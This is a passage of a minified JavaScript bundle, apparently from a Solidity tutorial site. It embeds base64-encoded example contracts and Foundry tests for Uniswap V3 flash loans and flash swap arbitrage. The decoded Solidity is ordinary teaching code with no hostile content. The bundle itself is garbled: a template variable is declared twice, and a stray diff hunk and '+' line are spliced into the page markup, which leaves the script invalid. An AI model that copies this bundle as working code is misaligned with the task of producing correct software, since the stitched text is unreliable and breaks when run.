ZGUgaGVyZQogICAgICAgIGlmIChmZWUwID4gMCkgewogICAgICAgICAgICB0b2tlbjAudHJhbnNmZXJGcm9tKGRlY29kZWQuY2FsbGVyLCBhZGRyZXNzKHRoaXMpLCBmZWUwKTsKICAgICAgICB9CiAgICAgICAgaWYgKGZlZTEgPiAwKSB7CiAgICAgICAgICAgIHRva2VuMS50cmFuc2ZlckZyb20oZGVjb2RlZC5jYWxsZXIsIGFkZHJlc3ModGhpcyksIGZlZTEpOwogICAgICAgIH0KCiAgICAgICAgLy8gUmVwYXkgYm9ycm93CiAgICAgICAgaWYgKGZlZTAgPiAwKSB7CiAgICAgICAgICAgIHRva2VuMC50cmFuc2ZlcihhZGRyZXNzKHBvb2wpLCBkZWNvZGVkLmFtb3VudDAgKyBmZWUwKTsKICAgICAgICB9CiAgICAgICAgaWYgKGZlZTEgPiAwKSB7CiAgICAgICAgICAgIHRva2VuMS50cmFuc2ZlcihhZGRyZXNzKHBvb2wpLCBkZWNvZGVkLmFtb3VudDEgKyBmZWUxKTsKICAgICAgICB9CiAgICB9Cn0KCmludGVyZmFjZSBJVW5pc3dhcFYzUG9vbCB7CiAgICBmdW5jdGlvbiB0b2tlbjAoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKGFkZHJlc3MpOwogICAgZnVuY3Rpb24gdG9rZW4xKCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChhZGRyZXNzKTsKICAgIGZ1bmN0aW9uIGZsYXNoKAogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50LAogICAgICAgIHVpbnQyNTYgYW1vdW50MCwKICAgICAgICB1aW50MjU2IGFtb3VudDEsCiAgICAgICAgYnl0ZXMgY2FsbGRhdGEgZGF0YQogICAgKSBleHRlcm5hbDsKfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBhY2NvdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7Cn0K"},{fileName:"UniswapV3FlashTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdCwgY29uc29sZTJ9IGZyb20gImZvcmdlLXN0ZC9UZXN0LnNvbCI7CmltcG9ydCAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12My1mbGFzaC9Vbmlzd2FwVjNGbGFzaC5zb2wiOwoKY29udHJhY3QgVW5pc3dhcFYzRmxhc2hUZXN0IGlzIFRlc3QgewogICAgYWRkcmVzcyBjb25zdGFudCBEQUkgPSAweDZCMTc1NDc0RTg5MDk0QzQ0RGE5OGI5NTRFZWRlQUM0OTUyNzFkMEY7CiAgICBhZGRyZXNzIGNvbnN0YW50IFdFVEggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CiAgICAvLyBEQUkgLyBXRVRIIDAuMyUgZmVlCiAgICBhZGRyZXNzIGNvbnN0YW50IFBPT0wgPSAweEMyZTlGMjVCZTYyNTdjMjEwZDdBZGYwRDRDZDZFM0U4ODFiYTI1Zjg7CiAgICB1aW50MjQgY29uc3RhbnQgUE9PTF9GRUUgPSAzMDAwOwoKICAgIElFUkMyMCBwcml2YXRlIGNvbnN0YW50IHdldGggPSBJRVJDMjAoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCBkYWkgPSBJRVJDMjAoREFJKTsKICAgIFVuaXN3YXBWM0ZsYXNoIHByaXZhdGUgdW5pOwogICAgYWRkcmVzcyBjb25zdGFudCB1c2VyID0gYWRkcmVzcygxMSk7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMgewogICAgICAgIHVuaSA9IG5ldyBVbmlzd2FwVjNGbGFzaChQT09MKTsKCiAgICAgICAgZGVhbChEQUksIHVzZXIsIDFlNiAqIDFlMTgpOwogICAgICAgIHZtLnByYW5rKHVzZXIpOwogICAgICAgIGRhaS5hcHByb3ZlKGFkZHJlc3ModW5pKSwgdHlwZSh1aW50MjU2KS5tYXgpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RfZmxhc2goKSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgZGFpX2JlZm9yZSA9IGRhaS5iYWxhbmNlT2YodXNlcik7CiAgICAgICAgdm0ucHJhbmsodXNlcik7CiAgICAgICAgdW5pLmZsYXNoKDFlNiAqIDFlMTgsIDApOwogICAgICAgIHVpbnQyNTYgZGFpX2FmdGVyID0gZGFpLmJhbGFuY2VPZih1c2VyKTsKCiAgICAgICAgdWludDI1NiBmZWUgPSBkYWlfYmVmb3JlIC0gZGFpX2FmdGVyOwogICAgICAgIGNvbnNvbGUyLmxvZygiREFJIGZlZSIsIGZlZSk7CiAgICB9Cn0K"}],cb=`
                    Uniswap V3 Flash Loan Example
                    
+
                    `,ab=({prev:s,next:a})=>r.jsx(A,{version:Om,title:Pm,description:$m,html:sb,prev:s,next:a,codes:qm}),nb="0.8.24",lb="Uniswap V3 Flash Loan",pb="Uniswap V3 Flash Loan",eb=[{fileName:"UniswapV3Flash.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFVuaXN3YXBWM0ZsYXNoIHsKICAgIHN0cnVjdCBGbGFzaENhbGxiYWNrRGF0YSB7CiAgICAgICAgdWludDI1NiBhbW91bnQwOwogICAgICAgIHVpbnQyNTYgYW1vdW50MTsKICAgICAgICBhZGRyZXNzIGNhbGxlcjsKICAgIH0KCiAgICBJVW5pc3dhcFYzUG9vbCBwcml2YXRlIGltbXV0YWJsZSBwb29sOwogICAgSUVSQzIwIHByaXZhdGUgaW1tdXRhYmxlIHRva2VuMDsKICAgIElFUkMyMCBwcml2YXRlIGltbXV0YWJsZSB0b2tlbjE7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfcG9vbCkgewogICAgICAgIHBvb2wgPSBJVW5pc3dhcFYzUG9vbChfcG9vbCk7CiAgICAgICAgdG9rZW4wID0gSUVSQzIwKHBvb2wudG9rZW4wKCkpOwogICAgICAgIHRva2VuMSA9IElFUkMyMChwb29sLnRva2VuMSgpKTsKICAgIH0KCiAgICBmdW5jdGlvbiBmbGFzaCh1aW50MjU2IGFtb3VudDAsIHVpbnQyNTYgYW1vdW50MSkgZXh0ZXJuYWwgewogICAgICAgIGJ5dGVzIG1lbW9yeSBkYXRhID0gYWJpLmVuY29kZSgKICAgICAgICAgICAgRmxhc2hDYWxsYmFja0RhdGEoewogICAgICAgICAgICAgICAgYW1vdW50MDogYW1vdW50MCwKICAgICAgICAgICAgICAgIGFtb3VudDE6IGFtb3VudDEsCiAgICAgICAgICAgICAgICBjYWxsZXI6IG1zZy5zZW5kZXIKICAgICAgICAgICAgfSkKICAgICAgICApOwogICAgICAgIElVbmlzd2FwVjNQb29sKHBvb2wpLmZsYXNoKGFkZHJlc3ModGhpcyksIGFtb3VudDAsIGFtb3VudDEsIGRhdGEpOwogICAgfQoKICAgIGZ1bmN0aW9uIHVuaXN3YXBWM0ZsYXNoQ2FsbGJhY2soCiAgICAgICAgLy8gUG9vbCBmZWUgeCBhbW91bnQgcmVxdWVzdGVkCiAgICAgICAgdWludDI1NiBmZWUwLAogICAgICAgIHVpbnQyNTYgZmVlMSwKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gYWRkcmVzcyhwb29sKSwgIm5vdCBhdXRob3JpemVkIik7CgogICAgICAgIEZsYXNoQ2FsbGJhY2tEYXRhIG1lbW9yeSBkZWNvZGVkID0gYWJpLmRlY29kZShkYXRhLCAoRmxhc2hDYWxsYmFja0RhdGEpKTsKCiAgICAgICAgLy8gV3JpdGUgY3VzdG9tIGNvZGUgaGVyZQogICAgICAgIGlmIChmZWUwID4gMCkgewogICAgICAgICAgICB0b2tlbjAudHJhbnNmZXJGcm9tKGRlY29kZWQuY2FsbGVyLCBhZGRyZXNzKHRoaXMpLCBmZWUwKTsKICAgICAgICB9CiAgICAgICAgaWYgKGZlZTEgPiAwKSB7CiAgICAgICAgICAgIHRva2VuMS50cmFuc2ZlckZyb20oZGVjb2RlZC5jYWxsZXIsIGFkZHJlc3ModGhpcyksIGZlZTEpOwogICAgICAgIH0KCiAgICAgICAgLy8gUmVwYXkgYm9ycm93CiAgICAgICAgaWYgKGZlZTAgPiAwKSB7CiAgICAgICAgICAgIHRva2VuMC50cmFuc2ZlcihhZGRyZXNzKHBvb2wpLCBkZWNvZGVkLmFtb3VudDAgKyBmZWUwKTsKICAgICAgICB9CiAgICAgICAgaWYgKGZlZTEgPiAwKSB7CiAgICAgICAgICAgIHRva2VuMS50cmFuc2ZlcihhZGRyZXNzKHBvb2wpLCBkZWNvZGVkLmFtb3VudDEgKyBmZWUxKTsKICAgICAgICB9CiAgICB9Cn0KCmludGVyZmFjZSBJVW5pc3dhcFYzUG9vbCB7CiAgICBmdW5jdGlvbiB0b2tlbjAoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKGFkZHJlc3MpOwogICAgZnVuY3Rpb24gdG9rZW4xKCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChhZGRyZXNzKTsKICAgIGZ1bmN0aW9uIGZsYXNoKAogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50LAogICAgICAgIHVpbnQyNTYgYW1vdW50MCwKICAgICAgICB1aW50MjU2IGFtb3VudDEsCiAgICAgICAgYnl0ZXMgY2FsbGRhdGEgZGF0YQogICAgKSBleHRlcm5hbDsKfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBhY2NvdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7Cn0K"},{fileName:"UniswapV3FlashTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdCwgY29uc29sZTJ9IGZyb20gImZvcmdlLXN0ZC9UZXN0LnNvbCI7CmltcG9ydCAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12My1mbGFzaC9Vbmlzd2FwVjNGbGFzaC5zb2wiOwoKY29udHJhY3QgVW5pc3dhcFYzRmxhc2hUZXN0IGlzIFRlc3QgewogICAgYWRkcmVzcyBjb25zdGFudCBEQUkgPSAweDZCMTc1NDc0RTg5MDk0QzQ0RGE5OGI5NTRFZWRlQUM0OTUyNzFkMEY7CiAgICBhZGRyZXNzIGNvbnN0YW50IFdFVEggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CiAgICAvLyBEQUkgLyBXRVRIIDAuMyUgZmVlCiAgICBhZGRyZXNzIGNvbnN0YW50IFBPT0wgPSAweEMyZTlGMjVCZTYyNTdjMjEwZDdBZGYwRDRDZDZFM0U4ODFiYTI1Zjg7CiAgICB1aW50MjQgY29uc3RhbnQgUE9PTF9GRUUgPSAzMDAwOwoKICAgIElFUkMyMCBwcml2YXRlIGNvbnN0YW50IHdldGggPSBJRVJDMjAoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCBkYWkgPSBJRVJDMjAoREFJKTsKICAgIFVuaXN3YXBWM0ZsYXNoIHByaXZhdGUgdW5pOwogICAgYWRkcmVzcyBjb25zdGFudCB1c2VyID0gYWRkcmVzcygxMSk7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMgewogICAgICAgIHVuaSA9IG5ldyBVbmlzd2FwVjNGbGFzaChQT09MKTsKCiAgICAgICAgZGVhbChEQUksIHVzZXIsIDFlNiAqIDFlMTgpOwogICAgICAgIHZtLnByYW5rKHVzZXIpOwogICAgICAgIGRhaS5hcHByb3ZlKGFkZHJlc3ModW5pKSwgdHlwZSh1aW50MjU2KS5tYXgpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RfZmxhc2goKSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgZGFpX2JlZm9yZSA9IGRhaS5iYWxhbmNlT2YodXNlcik7CiAgICAgICAgdm0ucHJhbmsodXNlcik7CiAgICAgICAgdW5pLmZsYXNoKDFlNiAqIDFlMTgsIDApOwogICAgICAgIHVpbnQyNTYgZGFpX2FmdGVyID0gZGFpLmJhbGFuY2VPZih1c2VyKTsKCiAgICAgICAgdWludDI1NiBmZWUgPSBkYWlfYmVmb3JlIC0gZGFpX2FmdGVyOwogICAgICAgIGNvbnNvbGUyLmxvZygiREFJIGZlZSIsIGZlZSk7CiAgICB9Cn0K"}],cb=`

                    Uniswap V3 Flash Loan Example

                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -6096,7 +6096,7 @@ IERC20 constant PAIR "DAI fee", fee);
     }
 }
-
                    `,tb=({prev:s,next:a})=>r.jsx(u,{version:nb,title:lb,description:pb,html:cb,prev:s,next:a,codes:eb}),ob="0.8.24",rb="Uniswap V3 Flash Swap Arbitrage",ib="Uniswap V3 Flash Swap Arbitrage",gb=[{fileName:"UniswapV3FlashSwap.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmFkZHJlc3MgY29uc3RhbnQgU1dBUF9ST1VURVJfMDIgPSAweDY4YjM0NjU4MzNmYjcyQTcwZWNERjQ4NUUwZTRDN2JEODY2NUZjNDU7Cgpjb250cmFjdCBVbmlzd2FwVjNGbGFzaFN3YXAgewogICAgSVN3YXBSb3V0ZXIwMiBjb25zdGFudCByb3V0ZXIgPSBJU3dhcFJvdXRlcjAyKFNXQVBfUk9VVEVSXzAyKTsKCiAgICB1aW50MTYwIHByaXZhdGUgY29uc3RhbnQgTUlOX1NRUlRfUkFUSU8gPSA0Mjk1MTI4NzM5OwogICAgdWludDE2MCBwcml2YXRlIGNvbnN0YW50IE1BWF9TUVJUX1JBVElPID0KICAgICAgICAxNDYxNDQ2NzAzNDg1MjEwMTAzMjg3MjczMDUyMjAzOTg4ODIyMzc4NzIzOTcwMzQyOwoKICAgIC8vIERBSSAvIFdFVEggMC4zJSBzd2FwIGZlZSAoMjAwMCBEQUkgLyBXRVRIKQogICAgLy8gREFJIC8gV0VUSCAwLjA1JSBzd2FwIGZlZSAoMjEwMCBEQUkgLyBXRVRIKQogICAgLy8gMS4gRmxhc2ggc3dhcCBvbiBwb29sMCAocmVjZWl2ZSBXRVRIKQogICAgLy8gMi4gU3dhcCBvbiBwb29sMSAoV0VUSCAtPiBEQUkpCiAgICAvLyAzLiBTZW5kIERBSSB0byBwb29sMAogICAgLy8gcHJvZml0ID0gREFJIHJlY2VpdmVkIGZyb20gcG9vbDEgLSBEQUkgcmVwYWlkIHRvIHBvb2wwCgogICAgZnVuY3Rpb24gZmxhc2hTd2FwKAogICAgICAgIGFkZHJlc3MgcG9vbDAsCiAgICAgICAgdWludDI0IGZlZTEsCiAgICAgICAgYWRkcmVzcyB0b2tlbkluLAogICAgICAgIGFkZHJlc3MgdG9rZW5PdXQsCiAgICAgICAgdWludDI1NiBhbW91bnRJbgogICAgKSBleHRlcm5hbCB7CiAgICAgICAgYm9vbCB6ZXJvRm9yT25lID0gdG9rZW5JbiA8IHRva2VuT3V0OwogICAgICAgIC8vIDAgLT4gMSA9PiBzcXJ0IHByaWNlIGRlY3JlYXNlCiAgICAgICAgLy8gMSAtPiAwID0+IHNxcnQgcHJpY2UgaW5jcmVhc2UKICAgICAgICB1aW50MTYwIHNxcnRQcmljZUxpbWl0WDk2ID0KICAgICAgICAgICAgemVyb0Zvck9uZSA/IE1JTl9TUVJUX1JBVElPICsgMSA6IE1BWF9TUVJUX1JBVElPIC0gMTsKCiAgICAgICAgYnl0ZXMgbWVtb3J5IGRhdGEgPSBhYmkuZW5jb2RlKAogICAgICAgICAgICBtc2cuc2VuZGVyLCBwb29sMCwgZmVlMSwgdG9rZW5JbiwgdG9rZW5PdXQsIGFtb3VudEluLCB6ZXJvRm9yT25lCiAgICAgICAgKTsKCiAgICAgICAgSVVuaXN3YXBWM1Bvb2wocG9vbDApLnN3YXAoewogICAgICAgICAgICByZWNpcGllbnQ6IGFkZHJlc3ModGhpcyksCiAgICAgICAgICAgIHplcm9Gb3JPbmU6IHplcm9Gb3JPbmUsCiAgICAgICAgICAgIGFtb3VudFNwZWNpZmllZDogaW50MjU2KGFtb3VudEluKSwKICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IHNxcnRQcmljZUxpbWl0WDk2LAogICAgICAgICAgICBkYXRhOiBkYXRhCiAgICAgICAgfSk7CiAgICB9CgogICAgZnVuY3Rpb24gX3N3YXAoCiAgICAgICAgYWRkcmVzcyB0b2tlbkluLAogICAgICAgIGFkZHJlc3MgdG9rZW5PdXQsCiAgICAgICAgdWludDI0IGZlZSwKICAgICAgICB1aW50MjU2IGFtb3VudEluLAogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0TWluCiAgICApIHByaXZhdGUgcmV0dXJucyAodWludDI1NiBhbW91bnRPdXQpIHsKICAgICAgICBJRVJDMjAodG9rZW5JbikuYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluKTsKCiAgICAgICAgSVN3YXBSb3V0ZXIwMi5FeGFjdElucHV0U2luZ2xlUGFyYW1zIG1lbW9yeSBwYXJhbXMgPSBJU3dhcFJvdXRlcjAyCiAgICAgICAgICAgIC5FeGFjdElucHV0U2luZ2xlUGFyYW1zKHsKICAgICAgICAgICAgdG9rZW5JbjogdG9rZW5JbiwKICAgICAgICAgICAgdG9rZW5PdXQ6IHRva2VuT3V0LAogICAgICAgICAgICBmZWU6IGZlZSwKICAgICAgICAgICAgcmVjaXBpZW50OiBhZGRyZXNzKHRoaXMpLAogICAgICAgICAgICBhbW91bnRJbjogYW1vdW50SW4sCiAgICAgICAgICAgIGFtb3VudE91dE1pbmltdW06IGFtb3VudE91dE1pbiwKICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IDAKICAgICAgICB9KTsKCiAgICAgICAgYW1vdW50T3V0ID0gcm91dGVyLmV4YWN0SW5wdXRTaW5nbGUocGFyYW1zKTsKICAgIH0KCiAgICBmdW5jdGlvbiB1bmlzd2FwVjNTd2FwQ2FsbGJhY2soCiAgICAgICAgaW50MjU2IGFtb3VudDAsCiAgICAgICAgaW50MjU2IGFtb3VudDEsCiAgICAgICAgYnl0ZXMgY2FsbGRhdGEgZGF0YQogICAgKSBleHRlcm5hbCB7CiAgICAgICAgLy8gRGVjb2RlIGRhdGEKICAgICAgICAoCiAgICAgICAgICAgIGFkZHJlc3MgY2FsbGVyLAogICAgICAgICAgICBhZGRyZXNzIHBvb2wwLAogICAgICAgICAgICB1aW50MjQgZmVlMSwKICAgICAgICAgICAgYWRkcmVzcyB0b2tlbkluLAogICAgICAgICAgICBhZGRyZXNzIHRva2VuT3V0LAogICAgICAgICAgICB1aW50MjU2IGFtb3VudEluLAogICAgICAgICAgICBib29sIHplcm9Gb3JPbmUKICAgICAgICApID0gYWJpLmRlY29kZSgKICAgICAgICAgICAgZGF0YSwgKGFkZHJlc3MsIGFkZHJlc3MsIHVpbnQyNCwgYWRkcmVzcywgYWRkcmVzcywgdWludDI1NiwgYm9vbCkKICAgICAgICApOwoKICAgICAgICB1aW50MjU2IGFtb3VudE91dCA9IHplcm9Gb3JPbmUgPyB1aW50MjU2KC1hbW91bnQxKSA6IHVpbnQyNTYoLWFtb3VudDApOwoKICAgICAgICAvLyBwb29sMCAtPiB0b2tlbkluIC0+IHRva2VuT3V0IChhbW91bnRPdXQpCiAgICAgICAgLy8gU3dhcCBvbiBwb29sIDEgKHN3YXAgdG9rZW5PdXQgLT4gdG9rZW5JbikKICAgICAgICB1aW50MjU2IGJ1eUJhY2tBbW91bnQgPSBfc3dhcCh7CiAgICAgICAgICAgIHRva2VuSW46IHRva2VuT3V0LAogICAgICAgICAgICB0b2tlbk91dDogdG9rZW5JbiwKICAgICAgICAgICAgZmVlOiBmZWUxLAogICAgICAgICAgICBhbW91bnRJbjogYW1vdW50T3V0LAogICAgICAgICAgICBhbW91bnRPdXRNaW46IGFtb3VudEluCiAgICAgICAgfSk7CgogICAgICAgIC8vIFJlcGF5IHBvb2wgMAogICAgICAgIHVpbnQyNTYgcHJvZml0ID0gYnV5QmFja0Ftb3VudCAtIGFtb3VudEluOwogICAgICAgIHJlcXVpcmUocHJvZml0ID4gMCwgInByb2ZpdCA9IDAiKTsKCiAgICAgICAgSUVSQzIwKHRva2VuSW4pLnRyYW5zZmVyKHBvb2wwLCBhbW91bnRJbik7CiAgICAgICAgSUVSQzIwKHRva2VuSW4pLnRyYW5zZmVyKGNhbGxlciwgcHJvZml0KTsKICAgIH0KfQoKaW50ZXJmYWNlIElTd2FwUm91dGVyMDIgewogICAgc3RydWN0IEV4YWN0SW5wdXRTaW5nbGVQYXJhbXMgewogICAgICAgIGFkZHJlc3MgdG9rZW5JbjsKICAgICAgICBhZGRyZXNzIHRva2VuT3V0OwogICAgICAgIHVpbnQyNCBmZWU7CiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQ7CiAgICAgICAgdWludDI1NiBhbW91bnRJbjsKICAgICAgICB1aW50MjU2IGFtb3VudE91dE1pbmltdW07CiAgICAgICAgdWludDE2MCBzcXJ0UHJpY2VMaW1pdFg5NjsKICAgIH0KCiAgICBmdW5jdGlvbiBleGFjdElucHV0U2luZ2xlKEV4YWN0SW5wdXRTaW5nbGVQYXJhbXMgY2FsbGRhdGEgcGFyYW1zKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYgYW1vdW50T3V0KTsKfQoKaW50ZXJmYWNlIElVbmlzd2FwVjNQb29sIHsKICAgIGZ1bmN0aW9uIHN3YXAoCiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQsCiAgICAgICAgYm9vbCB6ZXJvRm9yT25lLAogICAgICAgIGludDI1NiBhbW91bnRTcGVjaWZpZWQsCiAgICAgICAgdWludDE2MCBzcXJ0UHJpY2VMaW1pdFg5NiwKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsIHJldHVybnMgKGludDI1NiBhbW91bnQwLCBpbnQyNTYgYW1vdW50MSk7Cn0KCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwp9CgppbnRlcmZhY2UgSVdFVEggaXMgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIGRlcG9zaXQoKSBleHRlcm5hbCBwYXlhYmxlOwogICAgZnVuY3Rpb24gd2l0aGRyYXcodWludDI1NiBhbW91bnQpIGV4dGVybmFsOwp9Cg=="},{fileName:"UniswapV3FlashSwapTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI0OwoKaW1wb3J0IHtUZXN0LCBjb25zb2xlMn0gZnJvbSAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0IHsKICAgIFVuaXN3YXBWM0ZsYXNoU3dhcCwKICAgIElVbmlzd2FwVjNQb29sLAogICAgSVN3YXBSb3V0ZXIwMiwKICAgIElFUkMyMCwKICAgIElXRVRICn0gZnJvbSAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12My1mbGFzaC1zd2FwL1VuaXN3YXBWM0ZsYXNoU3dhcC5zb2wiOwoKYWRkcmVzcyBjb25zdGFudCBXRVRIID0gMHhDMDJhYUEzOWIyMjNGRThEMEEwZTVDNEYyN2VBRDkwODNDNzU2Q2MyOwphZGRyZXNzIGNvbnN0YW50IERBSSA9IDB4NkIxNzU0NzRFODkwOTRDNDREYTk4Yjk1NEVlZGVBQzQ5NTI3MWQwRjsKYWRkcmVzcyBjb25zdGFudCBTV0FQX1JPVVRFUl8wMiA9IDB4NjhiMzQ2NTgzM2ZiNzJBNzBlY0RGNDg1RTBlNEM3YkQ4NjY1RmM0NTsKYWRkcmVzcyBjb25zdGFudCBEQUlfV0VUSF9QT09MXzMwMDAgPSAweEMyZTlGMjVCZTYyNTdjMjEwZDdBZGYwRDRDZDZFM0U4ODFiYTI1Zjg7CmFkZHJlc3MgY29uc3RhbnQgREFJX1dFVEhfUE9PTF81MDAgPSAweDYwNTk0YTQwNWQ1MzgxMWQzQkM0NzY2NTk2RUZEODBmZDU0NUEyNzA7CnVpbnQyNCBjb25zdGFudCBGRUVfMCA9IDMwMDA7CnVpbnQyNCBjb25zdGFudCBGRUVfMSA9IDUwMDsKCmNvbnRyYWN0IFVuaXN3YXBWM0ZsYXNoVGVzdCBpcyBUZXN0IHsKICAgIElFUkMyMCBwcml2YXRlIGNvbnN0YW50IGRhaSA9IElFUkMyMChEQUkpOwogICAgSVdFVEggcHJpdmF0ZSBjb25zdGFudCB3ZXRoID0gSVdFVEgoV0VUSCk7CiAgICBJU3dhcFJvdXRlcjAyIHByaXZhdGUgY29uc3RhbnQgcm91dGVyID0gSVN3YXBSb3V0ZXIwMihTV0FQX1JPVVRFUl8wMik7CiAgICBJVW5pc3dhcFYzUG9vbCBwcml2YXRlIGNvbnN0YW50IHBvb2wwID0gSVVuaXN3YXBWM1Bvb2woREFJX1dFVEhfUE9PTF8zMDAwKTsKICAgIElVbmlzd2FwVjNQb29sIHByaXZhdGUgY29uc3RhbnQgcG9vbDEgPSBJVW5pc3dhcFYzUG9vbChEQUlfV0VUSF9QT09MXzUwMCk7CiAgICBVbmlzd2FwVjNGbGFzaFN3YXAgcHJpdmF0ZSBmbGFzaFN3YXA7CgogICAgdWludDI1NiBwcml2YXRlIGNvbnN0YW50IERBSV9BTU9VTlRfSU4gPSAxMCAqIDFlMTg7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBw